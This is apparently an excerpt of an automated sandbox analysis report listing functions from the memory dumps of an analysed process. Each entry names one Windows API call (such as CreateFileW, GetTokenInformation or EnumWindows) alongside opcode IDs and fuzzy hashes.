Instruction Fuzzy Hash: E2018B35400704DFEB208F45D885B66FBE0EF18720F18C09ADD490A612C3B5A819DBB2

Uniqueness

Uniqueness Score: -1.00%

Function 027C0118, Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

SetConsoleTitleW.KERNEL32(?), ref: 027C01D0

Memory Dump Source

Source File: 00000011.00000002.2143405769.00000000027C0000.00000040.00000001.sdmp, Offset: 027C0000, based on PE: false

Similarity

API ID: ConsoleTitle
String ID:
API String ID: 3358957663-0
Opcode ID: 9f0fbba091516735f37cc286888fb14cbeeacdf78dfed16af7a96ababb1ad393
Instruction ID: ffa6e0cf6d8ff8d1dd28e8fe5de91342a725c2fb11d9437dfffe2eb7f3ae2ae1
Opcode Fuzzy Hash: 9f0fbba091516735f37cc286888fb14cbeeacdf78dfed16af7a96ababb1ad393
Instruction Fuzzy Hash: 3731276650E3C08FE7138B759C65692BFB4AF03310B0E84DBD884CF1A3D6259809DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 027C067A, Relevance: 1.6, APIs: 1, Instructions: 93fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 027C072D

Memory Dump Source

Source File: 00000011.00000002.2143405769.00000000027C0000.00000040.00000001.sdmp, Offset: 027C0000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 893aafd3fda3b91f27a70fb9ab502b0038f8571b97068c1778b243b16deb9f10
Instruction ID: da1ccae53514e7ce9a19759654148ab20c374b1d3320e11006fbd2e9b4b2a240
Opcode Fuzzy Hash: 893aafd3fda3b91f27a70fb9ab502b0038f8571b97068c1778b243b16deb9f10
Instruction Fuzzy Hash: D1318275509380AFE722CF65CC45F52BFF8EF05310F1984AEE9889B292D335A908CB61

Uniqueness

Uniqueness Score: -1.00%

Function 027C0D32, Relevance: 1.6, APIs: 1, Instructions: 89registryCOMMON

Download Yara Rule

APIs

RegisterEventSourceW.ADVAPI32(?), ref: 027C0DD6

Memory Dump Source

Source File: 00000011.00000002.2143405769.00000000027C0000.00000040.00000001.sdmp, Offset: 027C0000, based on PE: false

Similarity

API ID: EventRegisterSource
String ID:
API String ID: 1693822063-0
Opcode ID: 5f96dbbaa65fbb8ad93ea64fef1256ff6fffd637c0ed6d62b2efbad05173db29
Instruction ID: 5a388c32290a6d8959d506ea473a044bc8a649cbc3cbd9c1c9ad3ee3814ccc9a
Opcode Fuzzy Hash: 5f96dbbaa65fbb8ad93ea64fef1256ff6fffd637c0ed6d62b2efbad05173db29
Instruction Fuzzy Hash: B33184B1509384AFE712CB25DC45B96BFE8EF06314F1884AEE984CB293D275A905C771

Uniqueness

Uniqueness Score: -1.00%

Function 004BBD1E, Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,00000E9C,FCF07D29,00000000,00000000,00000000,00000000), ref: 004BBDBC

Memory Dump Source

Source File: 00000011.00000002.2135263454.00000000004BA000.00000040.00000001.sdmp, Offset: 004BA000, based on PE: false

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 43b21162ff8bdc67aef8e659baa0935f9703b945521ab14638cd745a76b415fa
Instruction ID: 132f7bf00d9fda6ce70a09fb2741c2b43b326eba7d0000abe0d4f11ed4eb22c9
Opcode Fuzzy Hash: 43b21162ff8bdc67aef8e659baa0935f9703b945521ab14638cd745a76b415fa
Instruction Fuzzy Hash: 9A31A072009380AFE7228B60CC55F96BFB8EF06310F08849BE984DB192D224A909C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 004BAF24, Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000E9C,FCF07D29,00000000,00000000,00000000,00000000), ref: 004BAFBE

Memory Dump Source

Source File: 00000011.00000002.2135263454.00000000004BA000.00000040.00000001.sdmp, Offset: 004BA000, based on PE: false

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: d862d3892bf146e2b3ad172eee0a13e76ae4df25735e5a84a3335ff916645699
Instruction ID: 5d3bc7f3deee85127b0a05e61004318d396a290fd69fafc117bcce65a028deb5
Opcode Fuzzy Hash: d862d3892bf146e2b3ad172eee0a13e76ae4df25735e5a84a3335ff916645699
Instruction Fuzzy Hash: 9A21E6B2509380AFE712CF20DC45BA6BFB8EF06320F0884DBE984DB193C265A945C771

Uniqueness

Uniqueness Score: -1.00%

Function 027C0FEE, Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000E9C,?,?), ref: 027C109E

Memory Dump Source

Source File: 00000011.00000002.2143405769.00000000027C0000.00000040.00000001.sdmp, Offset: 027C0000, based on PE: false

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 756726629a340cf2cfdc24a02468ecb1b49b1b2300280177c213adf7a537ad38
Instruction ID: 72b79db5cedbbeb94ca17bc936bfab6d69408cf9b9993384b96b934ace19a5aa
Opcode Fuzzy Hash: 756726629a340cf2cfdc24a02468ecb1b49b1b2300280177c213adf7a537ad38
Instruction Fuzzy Hash: 4231737550E3C05FD3138B358C55B55BFB4AF43610F1A81DBD884CF1A3D629A909C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 004BB01D, Relevance: 1.6, APIs: 1, Instructions: 82COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000E9C,FCF07D29,00000000,00000000,00000000,00000000), ref: 004BB0AE

Memory Dump Source

Source File: 00000011.00000002.2135263454.00000000004BA000.00000040.00000001.sdmp, Offset: 004BA000, based on PE: false

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: 8709d190e8124260f74850554ba8e7a8567e96f52be29b653c942b5226d09f93
Instruction ID: e220c8d7a75e1b14bb481794294afb47d9320be098dea13b14dc67f139748185
Opcode Fuzzy Hash: 8709d190e8124260f74850554ba8e7a8567e96f52be29b653c942b5226d09f93
Instruction Fuzzy Hash: E3219471505380AFE721CB15CC45FA7BFA8EF06310F08849BE945DB152D664A908CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 004BA1A8, Relevance: 1.6, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

EnumWindows.USER32(?,00000E9C,?,?), ref: 004BA23E

Memory Dump Source

Source File: 00000011.00000002.2135263454.00000000004BA000.00000040.00000001.sdmp, Offset: 004BA000, based on PE: false

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: 981aea1eaf0d22f808d76968a811bb46ead2e14ed9a6c77e8c0e09922270b98b
Instruction ID: accf4bdb74f3bc90e9b52f9ce99e7c21c982c04afd03e3e5ec9c45131062e519
Opcode Fuzzy Hash: 981aea1eaf0d22f808d76968a811bb46ead2e14ed9a6c77e8c0e09922270b98b
Instruction Fuzzy Hash: 0A21B27584D3C16FD3128B358C55B66BFB4EF47620F0A81DBD8848F293D229A919C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 027C0784, Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E9C,FCF07D29,00000000,00000000,00000000,00000000), ref: 027C0819

Memory Dump Source

Source File: 00000011.00000002.2143405769.00000000027C0000.00000040.00000001.sdmp, Offset: 027C0000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: f04353430cd06b1856ccf1f4c6c22c053f9eb3708b34f1be3e8a9a543f4a8113
Instruction ID: 74d4383112bb8a581ed9570780a845334d73135d568dfc17ac68d5b8451fafda
Opcode Fuzzy Hash: f04353430cd06b1856ccf1f4c6c22c053f9eb3708b34f1be3e8a9a543f4a8113
Instruction Fuzzy Hash: 41212C76408780AFE712CB259C41FA3BFA8EF46720F1881DBF9848B193D224A905C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 027C0464, Relevance: 1.6, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(?,00000E9C,?,?), ref: 027C0502

Memory Dump Source

Source File: 00000011.00000002.2143405769.00000000027C0000.00000040.00000001.sdmp, Offset: 027C0000, based on PE: false

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: e369dc8b3195572b041ecd62d2edcb08249f5fc1e064b3051773013e991ab05b
Instruction ID: 3c618537448afbf6adf19c6e738d07fbd44c8e33d7f041cdce47383e5b78005f
Opcode Fuzzy Hash: e369dc8b3195572b041ecd62d2edcb08249f5fc1e064b3051773013e991ab05b
Instruction Fuzzy Hash: D1217F7540E3C0AFD3128B358C55B62BFB4EF47610F1A81CBD8848F693D225A91AC7B2

Uniqueness

Uniqueness Score: -1.00%

Function 027C06AE, Relevance: 1.6, APIs: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 027C072D

Memory Dump Source

Source File: 00000011.00000002.2143405769.00000000027C0000.00000040.00000001.sdmp, Offset: 027C0000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: bd221acad5206b28a0ff6ff32f9cf038a31cdda938d85ffdd4b808b366ea14a5
Instruction ID: 6e134f672e423aa93bcedecd513a32fabf9e4f5fabd2c0f1552f3838151c8274
Opcode Fuzzy Hash: bd221acad5206b28a0ff6ff32f9cf038a31cdda938d85ffdd4b808b366ea14a5
Instruction Fuzzy Hash: 46219A71500304EFEB21DF65CD85B66FBE8EF08710F14846EE9899A292D331E904CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 027C0854, Relevance: 1.6, APIs: 1, Instructions: 75fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000E9C,FCF07D29,00000000,00000000,00000000,00000000), ref: 027C08E5

Memory Dump Source

Source File: 00000011.00000002.2143405769.00000000027C0000.00000040.00000001.sdmp, Offset: 027C0000, based on PE: false

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: b3c9829346570a60663baf12d93fa20f0539426ab9f04c57a1b1acfb54e35977
Instruction ID: c26aedc5f518d300bd264a7ba92bcc7da81446c69abc5cea3ccc14d17792745c
Opcode Fuzzy Hash: b3c9829346570a60663baf12d93fa20f0539426ab9f04c57a1b1acfb54e35977
Instruction Fuzzy Hash: C321B271409380AFE722CF20DC45F56BFB8EF06310F0984DFE9449B153C225A909CB61

Uniqueness

Uniqueness Score: -1.00%

Function 004BA8B4, Relevance: 1.6, APIs: 1, Instructions: 74threadCOMMON

Download Yara Rule

APIs

SetThreadPreferredUILanguages.KERNEL32(?,00000E9C,?,?), ref: 004BA94A

Memory Dump Source

Source File: 00000011.00000002.2135263454.00000000004BA000.00000040.00000001.sdmp, Offset: 004BA000, based on PE: false

Similarity

API ID: LanguagesPreferredThread
String ID:
API String ID: 842807343-0
Opcode ID: 220f7cd2b4abe29542ba8cd6e1a62bba508ce193b588c21fad56716a3843da58
Instruction ID: 036178324f1675285ed7d14387f5e37fc96a21d46741f3624805f71931df7bd7
Opcode Fuzzy Hash: 220f7cd2b4abe29542ba8cd6e1a62bba508ce193b588c21fad56716a3843da58
Instruction Fuzzy Hash: A221A77540D780AFD3138B25DC51B62BFB4EF87B10F1981DBE8848B653D224A91AC7B2

Uniqueness

Uniqueness Score: -1.00%

Function 027C0D66, Relevance: 1.6, APIs: 1, Instructions: 71registryCOMMON

Download Yara Rule

APIs

RegisterEventSourceW.ADVAPI32(?), ref: 027C0DD6

Memory Dump Source

Source File: 00000011.00000002.2143405769.00000000027C0000.00000040.00000001.sdmp, Offset: 027C0000, based on PE: false

Similarity

API ID: EventRegisterSource
String ID:
API String ID: 1693822063-0
Opcode ID: 8d9b33ec672f535929769b33a83a2b16ee90ed87109261420b99ad91a679180a
Instruction ID: 9dac3097eaf507407f2f1e5a2a162a5f636d355ae19596d4bb67e4fb98df33c3
Opcode Fuzzy Hash: 8d9b33ec672f535929769b33a83a2b16ee90ed87109261420b99ad91a679180a
Instruction Fuzzy Hash: D1216DB1604244EFEB20DF25DC85BA6FBD8EF04754F1484AEE948DB282D775E904CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 004BBD52, Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,00000E9C,FCF07D29,00000000,00000000,00000000,00000000), ref: 004BBDBC

Memory Dump Source

Source File: 00000011.00000002.2135263454.00000000004BA000.00000040.00000001.sdmp, Offset: 004BA000, based on PE: false

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 7830ccd9e0ac1756e5d7eb51feced834938b6a6c310b82612de8c132aa566f5d
Instruction ID: c29125a13da7f82d53af8a50ca77f7347f195a5a6b48c033d97e4a914ffb285c
Opcode Fuzzy Hash: 7830ccd9e0ac1756e5d7eb51feced834938b6a6c310b82612de8c132aa566f5d
Instruction Fuzzy Hash: FD11CA72100704EFEB21CF61CC85FAAFBACEF04320F14846AF9099A241D674E9058BB6

Uniqueness

Uniqueness Score: -1.00%

Function 004BB04A, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000E9C,FCF07D29,00000000,00000000,00000000,00000000), ref: 004BB0AE

Memory Dump Source

Source File: 00000011.00000002.2135263454.00000000004BA000.00000040.00000001.sdmp, Offset: 004BA000, based on PE: false

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: 9689a1fca4b0ef9623117c1202ee4303a21ce35385201529438aefb7945107ca
Instruction ID: a5a5d807381845583cfb018b837f1c453d58de64ffa3fc9aef691c400aa6e9f2
Opcode Fuzzy Hash: 9689a1fca4b0ef9623117c1202ee4303a21ce35385201529438aefb7945107ca
Instruction Fuzzy Hash: 76116A75604304EFEB20DF15DC85FABBBA8EF04760F14846AE9099B281D7A4A9058AB5

Uniqueness

Uniqueness Score: -1.00%

Function 027C137E, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 027C13F0

Memory Dump Source

Source File: 00000011.00000002.2143405769.00000000027C0000.00000040.00000001.sdmp, Offset: 027C0000, based on PE: false

Similarity

API ID: ConsoleWrite
String ID:
API String ID: 2657657451-0
Opcode ID: b947bf5125a22adb83bc2d0bc36676e2abccda6a624c78c1b6f30c786a0ead52
Instruction ID: 85ae1023fae6541985af060bf487189837e742904b984d0decb4543d4376e0f0
Opcode Fuzzy Hash: b947bf5125a22adb83bc2d0bc36676e2abccda6a624c78c1b6f30c786a0ead52
Instruction Fuzzy Hash: 91218E765083809FEB21CF25DC45B96FFB4EF06320F0884AEED858B563D235A849DB61

Uniqueness

Uniqueness Score: -1.00%

Function 027C0F34, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNELBASE(?), ref: 027C0FB0

Memory Dump Source

Source File: 00000011.00000002.2143405769.00000000027C0000.00000040.00000001.sdmp, Offset: 027C0000, based on PE: false

Similarity

API ID: DriveType
String ID:
API String ID: 338552980-0
Opcode ID: ca3f284f2234780085e7e15de013fe7cb9af6eebccdf2bd1fda6efc7228539c4
Instruction ID: 9be0e1d7fe6d4d78360e33c335d44658b33baae08dbe113a3146539f17b8b9c2
Opcode Fuzzy Hash: ca3f284f2234780085e7e15de013fe7cb9af6eebccdf2bd1fda6efc7228539c4
Instruction Fuzzy Hash: 3D219F7150D3C09FDB12CB25DC55B92BFB4AF03214F1C84DBD8888F253D2649848C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 004BAAAB, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 004BAB1A

Memory Dump Source

Source File: 00000011.00000002.2135263454.00000000004BA000.00000040.00000001.sdmp, Offset: 004BA000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: fed480b7c914eeae3a0f2896a1695aa132f9a92992cbe491fa75d4698583fbf7
Instruction ID: ad957d66d748d66ab2d269699bb8a607ac944dfc7e816b61793ebe74e5e55a73
Opcode Fuzzy Hash: fed480b7c914eeae3a0f2896a1695aa132f9a92992cbe491fa75d4698583fbf7
Instruction Fuzzy Hash: 522160716093809FDB21CF25DC54B92BFA8EF56610F0884ABED49DB252D265E814CB71

Uniqueness

Uniqueness Score: -1.00%

Function 004BBABE, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 004BBB2F

Memory Dump Source

Source File: 00000011.00000002.2135263454.00000000004BA000.00000040.00000001.sdmp, Offset: 004BA000, based on PE: false

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: 714f36b5e7f06a20acee3bf36a3bdbf97172643f2a8e4bdaa2e8ad301610c34b
Instruction ID: 58879fe323db3fe6722ba88263165ae0fe3932c10f79a35ddca78f3903c9dded
Opcode Fuzzy Hash: 714f36b5e7f06a20acee3bf36a3bdbf97172643f2a8e4bdaa2e8ad301610c34b
Instruction Fuzzy Hash: 62219F765093C09FEB128B25DC55A92BFA4EF07320F0984DBDD858F263D268A908DB61

Uniqueness

Uniqueness Score: -1.00%

Function 027C10D4, Relevance: 1.6, APIs: 1, Instructions: 65threadCOMMON

Download Yara Rule

APIs

SetThreadUILanguage.KERNEL32(?), ref: 027C1148

Memory Dump Source

Source File: 00000011.00000002.2143405769.00000000027C0000.00000040.00000001.sdmp, Offset: 027C0000, based on PE: false

Similarity

API ID: LanguageThread
String ID:
API String ID: 243849632-0
Opcode ID: e70f4739dd35bb72dc50aa23757f6b642d053a2230bc0fbd3adefa32a6217751
Instruction ID: da9a9ac4fe6124415222542dcee96d6c1c8494eb0787be7b9b6845827eb784cc
Opcode Fuzzy Hash: e70f4739dd35bb72dc50aa23757f6b642d053a2230bc0fbd3adefa32a6217751
Instruction Fuzzy Hash: 8D216D6540E3C49FD7138B259C54A62BFB4EF57720F1980DBD8848F2A3D2696809D7B2

Uniqueness

Uniqueness Score: -1.00%

Function 004BAF62, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000E9C,FCF07D29,00000000,00000000,00000000,00000000), ref: 004BAFBE

Memory Dump Source

Source File: 00000011.00000002.2135263454.00000000004BA000.00000040.00000001.sdmp, Offset: 004BA000, based on PE: false

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: d14514c06acaf33256ba85d1afe82fd81ed221eebb3f6060a19a3259c05cec9f
Instruction ID: be224531523f04b59e81153ee3b4640adf8ac2b4eafa92013df51ea8596bd9a9
Opcode Fuzzy Hash: d14514c06acaf33256ba85d1afe82fd81ed221eebb3f6060a19a3259c05cec9f
Instruction Fuzzy Hash: D4110172500704EFEB21DF25DC85BA7FBA8EF44720F14846BED098A281C674A904DBB6

Uniqueness

Uniqueness Score: -1.00%

Function 004BBA10, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?,?), ref: 004BBA7E

Memory Dump Source

Source File: 00000011.00000002.2135263454.00000000004BA000.00000040.00000001.sdmp, Offset: 004BA000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 2172ec18796de05596c9d86e2e1825e24c11fd06abaa7bc284524eba2f8183f3
Instruction ID: 6342d81a365972b8cb501d1bf74f7880ee9e761ec5634981c3829ff0327218a3
Opcode Fuzzy Hash: 2172ec18796de05596c9d86e2e1825e24c11fd06abaa7bc284524eba2f8183f3
Instruction Fuzzy Hash: A4119071504384AFDB21CF65CC44B92FFF4EF19310F08849AE9858B662D375A818DB61

Uniqueness

Uniqueness Score: -1.00%

Function 027C0886, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000E9C,FCF07D29,00000000,00000000,00000000,00000000), ref: 027C08E5

Memory Dump Source

Source File: 00000011.00000002.2143405769.00000000027C0000.00000040.00000001.sdmp, Offset: 027C0000, based on PE: false

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: d9294f7bdfe62a160d5b695a6c85d52a16caebdc910edd10458cc8242540b7da
Instruction ID: 3f5f3dcf13994375e7b1e9da32b61e7778364bc84f33e30f1560916aca3e6f0b
Opcode Fuzzy Hash: d9294f7bdfe62a160d5b695a6c85d52a16caebdc910edd10458cc8242540b7da
Instruction Fuzzy Hash: 9211BF72404304EFEB21CF61DC45FA6FBE8EF14720F14855EE9499A241C671A904CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 004BA33C, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

WerSetFlags.KERNEL32 ref: 004BA39C

Memory Dump Source

Source File: 00000011.00000002.2135263454.00000000004BA000.00000040.00000001.sdmp, Offset: 004BA000, based on PE: false

Similarity

API ID: Flags
String ID:
API String ID: 3401871038-0
Opcode ID: 17b5df542746e7fff794d2df50fdda4633b53c7bd1602bfff278f097f1f76a46
Instruction ID: 60012211e2c3d3667766ca6d6108945c67061964fe7563cb4bf4771ce1a336bc
Opcode Fuzzy Hash: 17b5df542746e7fff794d2df50fdda4633b53c7bd1602bfff278f097f1f76a46
Instruction Fuzzy Hash: 29116A714093C49FEB128B25DC54AA2BFB4DF47624F0880CBEDC48B263D265A818DB72

Uniqueness

Uniqueness Score: -1.00%

Function 027C12D8, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

SetConsoleTextAttribute.KERNEL32(?,?), ref: 027C132F

Memory Dump Source

Source File: 00000011.00000002.2143405769.00000000027C0000.00000040.00000001.sdmp, Offset: 027C0000, based on PE: false

Similarity

API ID: AttributeConsoleText
String ID:
API String ID: 646522457-0
Opcode ID: ec71d8734ed072f61b5ecbc5a909146980a188d20194ab577d54860dc8bfa0a4
Instruction ID: a77fec7161ed91a2fe3a6d9c7e30cbd9fda9dbfa5c168fe3451fed2f7b8aa3d5
Opcode Fuzzy Hash: ec71d8734ed072f61b5ecbc5a909146980a188d20194ab577d54860dc8bfa0a4
Instruction Fuzzy Hash: 8B1191755093849FDB118F25DC45B96FFE4EF06220F0984EFED498B252D275A808CB61

Uniqueness

Uniqueness Score: -1.00%

Function 004BAAD2, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 004BAB1A

Memory Dump Source

Source File: 00000011.00000002.2135263454.00000000004BA000.00000040.00000001.sdmp, Offset: 004BA000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 19c9b9dd8694f5b4c8f707fff1d454e566355f052e8d9aa2e0e7c2c4e20a15b5
Instruction ID: 481114494197e52880e554fc96ec1877e9883fd719d260364ae6eb63f2980539
Opcode Fuzzy Hash: 19c9b9dd8694f5b4c8f707fff1d454e566355f052e8d9aa2e0e7c2c4e20a15b5
Instruction Fuzzy Hash: 28118EB56043008FEB20CF25DC85B96FBD8EB14720F0884ABDD19CB341D674E814CA76

Uniqueness

Uniqueness Score: -1.00%

Function 004BAA0F, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 004BAA71

Memory Dump Source

Source File: 00000011.00000002.2135263454.00000000004BA000.00000040.00000001.sdmp, Offset: 004BA000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: 8cb33b9d827a909eecc95020628fc68cbd74a1f47042258ec154a0add9934c54
Instruction ID: 8bc8bce71606d63d1872c6bc1e0c27950649f9e0907cfc2792a74f6d21f94a61
Opcode Fuzzy Hash: 8cb33b9d827a909eecc95020628fc68cbd74a1f47042258ec154a0add9934c54
Instruction Fuzzy Hash: 0F11BF754097C09FD7128B11DC85A92BFA4EF17320F0980DBD9848F2A3D268A909D772

Uniqueness

Uniqueness Score: -1.00%

Function 027C092F, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 027C099C

Memory Dump Source

Source File: 00000011.00000002.2143405769.00000000027C0000.00000040.00000001.sdmp, Offset: 027C0000, based on PE: false

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 949906cfbe0973784d7882f4b928cd638a5c6ad85101f271bb1670eca2b70a61
Instruction ID: 0a7b3e9b07ead250eab67025d3054aacd04bedb141cacc14f58a4b8841f0cfb3
Opcode Fuzzy Hash: 949906cfbe0973784d7882f4b928cd638a5c6ad85101f271bb1670eca2b70a61
Instruction Fuzzy Hash: 6F119D754093C49FE7228B25DC55B92FFA4EF07324F0980DADD844B263C265A909CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 027C07C6, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E9C,FCF07D29,00000000,00000000,00000000,00000000), ref: 027C0819

Memory Dump Source

Source File: 00000011.00000002.2143405769.00000000027C0000.00000040.00000001.sdmp, Offset: 027C0000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 261a3f85b8ab87c42ff464536e7997ef3ceefd21fa3d3859e64058c43a58f0a6
Instruction ID: 604191535f67b4c5ce51129f235806a7ca803e5d6689fc0a16134be3c3d1ab50
Opcode Fuzzy Hash: 261a3f85b8ab87c42ff464536e7997ef3ceefd21fa3d3859e64058c43a58f0a6
Instruction Fuzzy Hash: D2018075504704EFFB209F55DC86BA6FBD8DF44720F24C09AED099A241D674A905CAE2

Uniqueness

Uniqueness Score: -1.00%

Function 027C13AA, Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 027C13F0

Memory Dump Source

Source File: 00000011.00000002.2143405769.00000000027C0000.00000040.00000001.sdmp, Offset: 027C0000, based on PE: false

Similarity

API ID: ConsoleWrite
String ID:
API String ID: 2657657451-0
Opcode ID: ebd5080f753457fd86d8877f1fc2b8ab0a54ee0457a68da4e34013f16d39fee4
Instruction ID: dfdfd1066244b3d42fd64bc2a871699c4c6aea54b4de1ddaa19767c28941f56a
Opcode Fuzzy Hash: ebd5080f753457fd86d8877f1fc2b8ab0a54ee0457a68da4e34013f16d39fee4
Instruction Fuzzy Hash: CF118B76500700DFEB20DF66DC85B66FBA4EF04720F5884AEED498B652D371E408DB61

Uniqueness

Uniqueness Score: -1.00%

Function 004BAB75, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNELBASE ref: 004BABC9

Memory Dump Source

Source File: 00000011.00000002.2135263454.00000000004BA000.00000040.00000001.sdmp, Offset: 004BA000, based on PE: false

Similarity

API ID: DrivesLogical
String ID:
API String ID: 999431828-0
Opcode ID: fc02fcf3d56aa89f7a2d00820bb6d5a20b56f4d9607ef606327dd8ac2f319af7
Instruction ID: 09338a802618461eae366ee5e712231ee1ff81699962c3dfcc4edf3d0a98e17d
Opcode Fuzzy Hash: fc02fcf3d56aa89f7a2d00820bb6d5a20b56f4d9607ef606327dd8ac2f319af7
Instruction Fuzzy Hash: E9117CB55093849FDB11CF65EC85B92BFA4EB52324F0980ABDD488F253D275A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 004BBA32, Relevance: 1.5, APIs: 1, Instructions: 49fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?,?), ref: 004BBA7E

Memory Dump Source

Source File: 00000011.00000002.2135263454.00000000004BA000.00000040.00000001.sdmp, Offset: 004BA000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: d289fe62a1c8d5f1cab8fe4083e87c6bb58aa161da723f2d680a7197b448bff5
Instruction ID: 548475cd20efe83ee8e39fe102f0fe1a359edc68d5e90d9b83c8dcf8e10427f6
Opcode Fuzzy Hash: d289fe62a1c8d5f1cab8fe4083e87c6bb58aa161da723f2d680a7197b448bff5
Instruction Fuzzy Hash: FC118E72900704DFDB21CF55DC84BA2FBE4EF18710F0884AADD898A612D375E414DBB2

Uniqueness

Uniqueness Score: -1.00%

Function 004BA1EE, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

EnumWindows.USER32(?,00000E9C,?,?), ref: 004BA23E

Memory Dump Source

Source File: 00000011.00000002.2135263454.00000000004BA000.00000040.00000001.sdmp, Offset: 004BA000, based on PE: false

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: 74009f27a75413972803b942e5cbe99956f8e82c32c089fb5662f7ef26a0a7b4
Instruction ID: 58916b8ecc3e11b7d3ec6ae53bb4e51ced610e9c0a3a0073aee669f9fbf52021
Opcode Fuzzy Hash: 74009f27a75413972803b942e5cbe99956f8e82c32c089fb5662f7ef26a0a7b4
Instruction Fuzzy Hash: 37017175900600ABE710DF16DC46B66FBA8FB84A20F14816AED089B741D235B915CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 027C104E, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000E9C,?,?), ref: 027C109E

Memory Dump Source

Source File: 00000011.00000002.2143405769.00000000027C0000.00000040.00000001.sdmp, Offset: 027C0000, based on PE: false

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
